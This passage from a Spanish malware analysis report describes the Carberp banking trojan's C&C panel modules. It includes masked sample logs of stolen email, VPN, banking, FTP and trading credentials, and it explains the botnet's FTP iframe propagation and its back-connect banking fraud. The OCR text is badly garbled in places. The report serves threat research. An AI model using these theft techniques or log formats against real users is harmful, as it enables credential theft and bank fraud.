http.//www.facebook.comy/index.php@@@XXXX@hotmail.com.: XXXXX
http.//www.facebook.com/@@@XXXXXX@hotmail.com:XXXX
#END#

#START#WindowsLiveMail#NAME #

Email: XXXX@live.n/

Account name: Live (XXX)

Server (HTTP): http.//mail.services.live.com/DeltaSync_vZ2.0.0/sync.aspx
Password (HTTP): XXXX

User (HTTP): XXX@live.n/

#END#

#START#Outlook#NAME#

Email: XXXX@walla.com

User (POP3). XXX

Password (POP3): XXX

Server (POP3): XXXX

User (SMTP): XXXX

Server (SMTP): XXXX
#START#WindowsLiveMessenger#NAME#

UIN/Name: XXXX@hotmail.com

Pass: XXXX (hex: XX XX XX XX XX XX)
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UIN/Name: XxXX@live.nl

Pass: XXXX (hex: XX XX XX XX XX XX)
#END# #START#MozillaFirefox#NAME#
http.//www.taringa.net@@@XXX: XXX
H#END# #START#GoogleChrome#NAME#
https.//www.meneame.net/@@@XXXX:XXXX
https.//www.megaupload.com/@@@XXXX:XXX
http.//212.178.208.1:2189/@@@XXX:XXX
#END# #START#CiscoVPNClient#NAME#
Host: vpnl.ocurrance.net

Password (Group): XXXX

Password (User): XXXX

Host: 65.121.79.100
Password (Group): XXX
Password (User): XXX

Moédulo FormGrabber

En grabber solo se guardan credenciales, asi pues, los formularios enviados a través de webs y
que puedan contener informacion importante (también credenciales) son reportados al modulo
formgrabber del C&C. Al entrar, al igual que en el mddulo grabber, permite seleccionar los
datos de interés de determinada botnet (logs).

En la siguiente imagen se observa la informacién de la botnet ANGELOFLUCK, que mantuvo
su operatividad desde principios de agosto hasta mediados de septiembre del 2010.

InaBias boTel 3apanwA  Jlorn Kab daiinel  Hactpoiikn  Monb3oBatenu

Cnucok daiinos npediukca "ANGELOFLUCK"

Mpedpuke Pasmep

01.09.2010.txt 46,91 kB nocMoTpers  cKavath

14.08.2010.txt 4,86 MB nocMoTpeTh  cKa4aTh
14.09.2010.txt 26,49 kB NoCMOTPeTh  CKa4aTh
15.08.2010.txt 3,57 MB NOCMOTPeTh  CKa4aTh
15.09.2010.txt 33,5kB nocMoTpeTh  <KayaTh
16.08.2010.txt 1,47 MB nocMoTperh  cKa4aTh
16.09.2010.txt 14,79 kB nocMoTpeTh  cKa4aTh
17.08.2010.txt 1,65 MB nocMoTpeTh  CKa4aTh

17.09.2010.txt 10,47 kB nocMOTpeTh  CKayaTh

n
] ®
] 02.09.2010.txt 29,13 kB nocuoTpers  ckauaTh 3§
] 03.09.2010.txt 7,84 kB nocmoTpers  ckauaTh 3§
[ 04.09.2010.txt 8,34 kB nocmoTpers ckawath 3§
[ | 05.09.2010. txt 29,97 kB nocMoTpers  cka4aTh 3§
[ | 06.09.2010.txt 11,8 kB nocuoTpers  ckauaTh 9§
| 07.09.2010.Ext 11,71 kB nocMoTper ckauath 3§
[ | 08.09.2010.txt 14,57 kB nocMoTpers  ckauath 3§
[ | 09.08.2010.Ext 1,02 MB NOCMOTPeTh  cKavaTh 3§
| | 09.09.2010.Ext 21,58 kB NOCMOTPETh  cKavaTh 3§
[ | 10.08.2010.txt 2,69 MB nocMoTperTs  cKa4aTh 3§
[ | 10.09.2010.Ext 18,63 kB NOCMOTPeTh  cKa4aTh 3§
[ | 11.08.2010.Ext 2,62 MB NoCcMOTPeTh  cKavaTh 9§
| | 11.09.2010.txt 22,23 kB NOCMOTPETh  cKa4aTh 3§
[ | 12.08.2010.Ext 2,31 MB nocMoTpeTs  cKavaTh 3§
[ | 12.09.2010.txt 193,98 kB NOCMOTPETh  cKa4aTh 3§
[ | 13.08.2010.xt 5,28 MB NoCcMOTPeTh  cKavaTh 9§
| | 13.09.2010.txt 4,15 kB NOCMOTPETh  cKavaTh 3§
[ ] ®
] ®
] ®
] ®
[ ] ®
] ®
] ®
] ®
] ®

18.08.2010.txt 1.37 MB nocMoTDeTh  cKa4aTh

Figura 20 — Logs del formgrabber de la botnet seleccionada
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Un ejemplo de logs del mddulo formgrabber es:

<ID: GSB09091DIEIFB80646B382B7517FCEA64535 BROWSER: IE IP: 85.147.xx.xx 06.10.2010
00:00>

URL:
https.//secure.hyves.org/?module=authentication&action=Ilogin&r=d05caa4d?/POST.:auth_curre
ntUrI=http.//www.hyves.nl/?&auth_username=XXXXX&auth_password=XXXXX&login_initialPres
ence=offline&btnLogin=0k

<ID: GSBOF3244F659C86233BE262C4FD5AE47A0C BROWSER: IE IP: 85.146.xx.xx 06.10.2010
00:00>

URL :https.//www.google.com/accounts/ServiceLoginAuth?/POST . ltmpl=default&ltmplcache=2&
continue=http.//mail.google.com/mail/ ?&service=mail&rm=ralse&dsh=6624412014080959272
&ltmpl=default&ltmpl=default&scc=1&timeStmp=&secTok=&GALX=gooCR-
ZI_f8&EmMail=XXXXX&Passwd=XXXXX&mShown=1&signin=Aanmelden&asts=

<ID: GS5B04290BD526B63ACO8AB5A5F6928F89E17 BROWSER: IE IP. 83.163.xx.xx 06.10.2010
00:00>

URL:
https.//bankieren.rabobank.nl/rib/rib.cgi?{POST:X009=REKSALE&X010=00208X011=08X012=XX
XXXEX014=18X015=REKMUT&I916=1000&V024=&V025=&V026=&V045=&V060=01

<ID: GSBOSCE45588A3C/7E/7F6CF25AADB2D187/7C BROWSER: IE IP: 83.85.xx.xx 06.10.2010
00:00>

URL: http.//stats.ad-serverparc.nlyview-
click/75_TUIdisplay/view.php?/POST.customer_id=XX&magic=a&sec=undefined&banner_id=67
01&user_id=XXXX&timestamp=undefined

<ID: GSBRO2A4D5F9F0970B9AFF9757D6B5899FB0 BROWSER: IF IP: 195,193.xx.xx
03.09.2010 13:42>

URL:  https.//www.bbva.es/DFAUTH/slod/DFServiet?/POST.origen=bbvanet&eai_user=XXXX-
XXXXXXXXXX&eal_password=XXXX&eai_URLDestino=&idioma=CAS&eai_url_params=idioma=C
AS

<ID: GSBO24EEEC6F66FE3FA129C649EA4932C570 BROWSER: IE IP: 80.56.XX.XX 03.10.2010
00:02>

URL:

http.//www.vueling.com/booking/booking/selecciona-tu-vuelo?
POSTevent=search&module=SB&page=SEARCH&Ianguage=ES&mode=&sid=&ref=&trave/=1&
from1=AMS&to1=VLC&from2=&to2=8&departDay1=08&departMonth1=201010&displayDatel=
vrijdag 08 oktober,
2010&depart1FlexBy=0101&departDay2=08&departMonth2=2010108&d/isplayDate2=vrijdag 08
oktober, 2010&depart2FlexBy=0101&fechas=01018ADULT=1&defaultADULT=-
1&CHILD=0&default CHILD=-1&INFANT=0&defaultINFANT =-
1&toCity1=&toCity2=7???&departDatel1=20101008&departDate2=&numberMarkets=1&cualquier
=&nom_cualquier=&mli_cualquier=&mZ2_cualquier=&frdisc=&mode_orig=&mode_TESTAB=MC
YfUBAoU1Q5LFx9eXUwUDcsSw==&mode_TESTABClassB=MQYIGxIeU1Q5IjRofZMOP1A6Iw==

<ID: GSB03C52630D7838733D83CD4ED740DB9B74 BROWSER: IE IP: 83.XX.XX.XX 03.10.2010
00:00>

URL:
https.//login.live.comy/ppsecure/post.srf?wa=wsigninl.0&rmpsnv=11&ct=1286053261&rver=6.0.
5285.0&wp=MBI&wreply=http.//mail.live.com/default. aspx&Ic=1043&id=64855&mkt=nl-
NL&bk=1286053262?/POST:login=xxxx@live.nl&passwd=xxxxxxx.&type=11&LoginOptions=3&
NewUser=1&MEST=&PPSX=P&PPFT=CYsd/xunc8kCcY2fbzhyBuBTwB59MN/n3DoxYtaFgZFAQy
MEb502)CczyzeEZ29u3cOhMxkDb4mOKhZibm 714Vgeq3wQEUScKoH2gVIDxGT&idsbho=1&Pwd
Pad=&ss0=&i1=1&2=18&3=12176&i4=&/12=1
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Modulo Sniffer

En este mddulo al igual que en los anteriores, permite seleccionar la botnet de la cual se desea
consultar los logs.

% Buson

Tnasnas  BoTol 3ajauus Jlorn  Kab daiine  Hacrpoiiku  MMonk3osarenu

Cnucok daiinos npedukca "HOLLODDVTR"

| Mpeduke Pasmep

u 01.08.2010.txt 5,15 MB nocMoTpeth  ckadats 3
u 01.09.2010.txt 34,24 MB nocMoTpetk  ckadats 3§
| | 02.08.2010.txt 7,22 MB nocMoTpetk  ckadats ¥
u 02.09.2010.txt 19,63 MB nocMoTpetk  ckadats ¥
u 03.08.2010.txt 7,88 MB nocMoTpeth  ckadats ¥
u 03.09.2010.txt 20,96 MB nocMoTpetk  ckadats 3§
| | 04.08,2010.txt 15,18 MB nocMoTpetk  ckadate ¥
[ | 04.09.2010.txt 9 kB nocMoTpeTs ckadars 3§
u 05.08.2010.txt 4,45 MB nocMoTpeth  ckadats 3
u 06.08.2010.txt 8,99 MB nocMoTpetk  ckadats 3§
| | 07.08.2010.txt 4,58 MB nocMoTpetk  ckadats ¥
u 08.08.2010.txt 14,7 MB nocMoTpetk  ckadate ¥
u 09.08.2010.txt 10,33 MB nocMoTpetk  ckadars ¥
o 10.08.2010.txt 4,94 MB nocMoTperk  ckadars 3§
| | 11.08.2010.Ext 4,4 MB nocMoTperk  ckadarn ¥
u 12.08.2010.txt 4,77 MB nocMoTpetk  ckadars ¥
u 13.08.2010.txt 4,63 MB nocMoTpetk  ckadars ¥
o 14.08.2010.txt 926 B nocMoTperk  ckadars 3§
- 15 fa 2010 b =ean FRGARNEDY -

Figura 21 — Logs del sniffer de la botnet seleccionada

Estas credenciales robadas juegan un papel importante a la hora de propagar el codigo
malicioso de la botnet. El botmaster usa las credenciales para embeber etiquetas iframes en
aquellos FTPs que alojan sitios webs.

Este iframe oculta un codigo malicioso que direcciona el trafico web hacia un TDS, que a su
vez, dependiendo de unos factores configurados por el botmaster, redirige a la victima hacia un
Exploit Pack.

Ejemplo de log:

ftp://x0ooxxxxxxx@webserver2.xhosting24.de: 21
ftp://x000x:xxxxxx@host1.nicheprofitclassroom.com:21
ftp://xxxxx:xxxxx@home.arcor.de: 21
ftp://xxxx:xxxx@rchgsa.rchland.ibm.com:21
ftp://xocxxxx@www.articorg.com:21
ftp://xxxx:xxxx@www.articorg.com:21

ftp://xxxxx:xxxx@postrigan-241.colo0.kv.wnet.ua: 21
ftp://xxxxx:xxxx@red-bolivar.com:21
ftp://xxxx:xxxx@legacy.z8.ru:21

ftp:/ oo xxxxx@sgae.es: 21
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Modulo trade

Como se menciono lineas arriba, aparte de registrar las credenciales de sitios web, Carberp
incorpora una lista de aplicaciones de las cuales es capaz sustraer sus credenciales. En este
modulo, se muestran las credenciales extraidas de aquellas aplicaciones relacionadas con el E-
Commerce.

Al acceder se visualizan las botnets que contienen registros E-Commerce. Una vez seleccionada
la botnet, muestra todos los logs encontrados.

Cnucok draiinos npedukca "SEMTRA"

Mpetrke Pasmep
20.09.2010.txt 1828 nocMoTpers  ckavars 9

Figura 22 — Logs de aplicaciones de E-Commerce de la botnet seleccionada
Ejemplo de logs E-Commerce:

<ID.: EBNKUSDVO0891F1FCA477CA7885FB2A83459ADFFA6 IP:87.68. XX XX 23.09.2010 13:54>
Program.: SaxoTrader

Username: XXX

Password: XXX

AccountNO: XX

Server: XXX

<ID: EBNKUSTRO51205DBE501882B726E59DE3EZB405FA IP:79. XX XX. XX 20.09.2010 14.:53>
Program. ScotTrader

Username: XXX

Password: XXX

AccountNO: XXX

Server: XXX

<ID: EBNKUSTR051205DBE501882B726E59DE3EZ2B405FA IP: 109.XX.97.XX 25.09.2010 14:57>
Program. BlackwoodPRO

Username: XXX

Password: XXX

AccountNO: XXX

Server: XXX

<ID: EBNKUSTRO51205DBE501882B726E59DE3EZ2B405FA IP: 91. XX XX XX 26.09.2010 15:01>
Program: FinamDirect

Username: XXX

Password: XXX

AccountNO: XXX

Server: XXX
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Archivos CAB

La ultima actualizacion de Carberp amplié la opcion de iBank a este menu de Archivos Cab. En
el mismo se encuentra toda la informacion relacionada con el robo de certificados, keys y
credenciales bancarias que se guardan en archivos .CAB. Esta opcion transforma a Carberp en
un bank-trojan muy peligroso.

BSS

Los .cab de BSS contienen un archivo llamado Information.txt que contienen las credenciales
robadas en la peticion al bsi.dll y otros dos archivos con las key publica y privada. Como
podemos observar, por cada bot hay un campo donde el botmaster va dejando sus
comentarios.
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Figura 23 — Logs de BSS con comentarios del botmaster
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Estructura del CAB

1120105633.cab - WinRAR {nomeés us queden 12 dies per comprar una llicéncia)

General Comandes Eines Preferits  Opcions  Ajuda

PR LI &

T

Extreure a Comprovar Visualitzar  ©o0on o Cercar Assistent Informacid | Cercar wirls

g 1120105633, cab - CAB arxiu, mida descomprimida 681 octets :Eh

|[#F19001297k0011 101 pub
| Froomza7kon1 1101 sec
i Private ||| Infarmation, txt
| 00000000
= Public
_ 1 DOo0ooooo
= Total 681 ockets en 3 fitxers

Figura 24 — Estructura del cab de BSS

IBank

Este complemento también tiene el archivo Information.txt con las credenciales del software
iBank y derivados. Ademas afiade una captura de pantalla en el momento de hacer login.
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Figura 25 — Logs de iBank con comentarios del botmaster
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Estructura del CAB

#01080767.cab - WinRAR {només us queden 17 dies per comprar una llicéncia)
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Figura 26 — Estructura del archivo CAB de iBank
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Figura 27 — Captura de pantalla alojada en el CAB
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CyberPlat

Igual que en iBank, contienen las credenciales de este sistema de pago en el Information.txty
guarda una captura de pantalla en el momento de login. Ademas, también contiene la
secret.key usada en el momento del login.

FnasHan  boTel 3apauun  Jlorn Kab daiine  Hacrpoitku [onk3oBatend

T

uiD Daiinos KommeHTapuii [laTa nocnegero daiina
GSB01082241C33B48B190B272CESD7A1B310 12-10-2010
GSBCC01082241C33B48B190B272CESD7A1B310 08-10-2010

TESTRUOCO9DDBA3685180BEC52B925F 8323AAD0 06-10-2010

<< < lxes

Figura 28 — Logs de CyberPlat

Estructura del CAB

i.": 939174392.cab - WinRAR (només us queden 12 dies per comprar una llicéncia)
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Figura 29 — Estructura del cab de Cyberplat
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A los archivos cab, también hay que unir el hecho de que Carberp al igual que sus
competidores cuenta con un sistema back-connect (comando startsb) que permite al botmaster
realizar las operaciones bancarias desde el mismo ordenador de la victima.
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Figura 30 — Captura de pantalla de CyberPlat
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Screens
En esta opcion del menu se puede acceder a las capturas de pantalla realizadas en los sistemas

operativos infectados. Estas capturas de pantalla se realizan cuando se detecta que el sistema
victima esta visitando una URL pre-definida, normalmente relacionadas con la banca online.
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Figura 31 — Logs de screens
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Conclusion

Carberp ha entrado por la puerta de atras sin hacer mucho ruido, por ejemplo a diferencia de
SpyEye que entrd llamando la atencion de todos. Esto ha sido gracias a su distribucién como
una botnet privada y a que su adquisicion no posible a través de foros underground ya sean
estos publicos o privados, sino que parece distribuirse por intermedio de contactos de
confianza.

Esta forma de distribucion le ha permitido operar muchos meses casi desde la oscuridad
consiguiendo ratios de infeccion muy elevados (500.000 bots por mes). Recordemos que
Carberp ha estado operando desde principios de 2010 y no ha sido hasta septiembre que han
aparecido las primeras informaciones de la mano de algunas compafiias de antivirus.

Sin embargo, cuando mas parecia que este nuevo malware entraba en el mundo del crimeware
para quedarse, los principales C&C han ido desapareciendo poco a poco. El motivo de su
desaparicion es desconocido y da a todo tipo de especulaciones, ya que esta botnet recibia
actualizaciones por parte de sus creadores mensualmente y lejos estaba de ser considerado un
crimeware desatendido.

iActualizacion importante!

En los Ultimos dias hemos estado recibiendo algunas noticias que referencian actividad de
algunos C&C de Carberp aln operativos. Si bien es cierto que aun quedan algunos C&C activos,
estos operan al margen del desarrollo original de Carberp y solo se trata de algunos botmaster
que, a pesar de no tener actualizaciones, siguen usando versiones antiguas del crimeware.

También ha aparecido una nwueva version de Carberp, de la cual se habla en:
http://blog.seculert.com/2011/01/new-trend-in-malware-evolution.html

Sin embargo, es necesario mencionar que, si bien esta version puede tratarse de la
continuacion, hay varios motivos que nos hacen desconfiar de que se trate la Ultima version de
Carberp.

El primero de ellos es que el sistema interno de administracion y desarrollo de Carberp esta
totalmente fuera de servicio en estos momentos. Este sistema quedd fuera de servicio casi al
mismo tiempo que desaparecieron los C&C y era el encargado de proporcionar las licencias y
los paquetes de Carberp.

El segundo motivo es que solo hay un C&C operativo con esta version. Carberp era un sistema
privado, pero aunque su objetivo no fuera la comercializacion a gran escala, este era
comercializado cada vez mas y esto no se corresponde con solo encontrar un C&C.

Asi una de las opciones que toman mas validez, es que quizas esta version del crimeware haya
sido desarrollada con la Ultima version oficial del bot al margen del equipo de Carberp.
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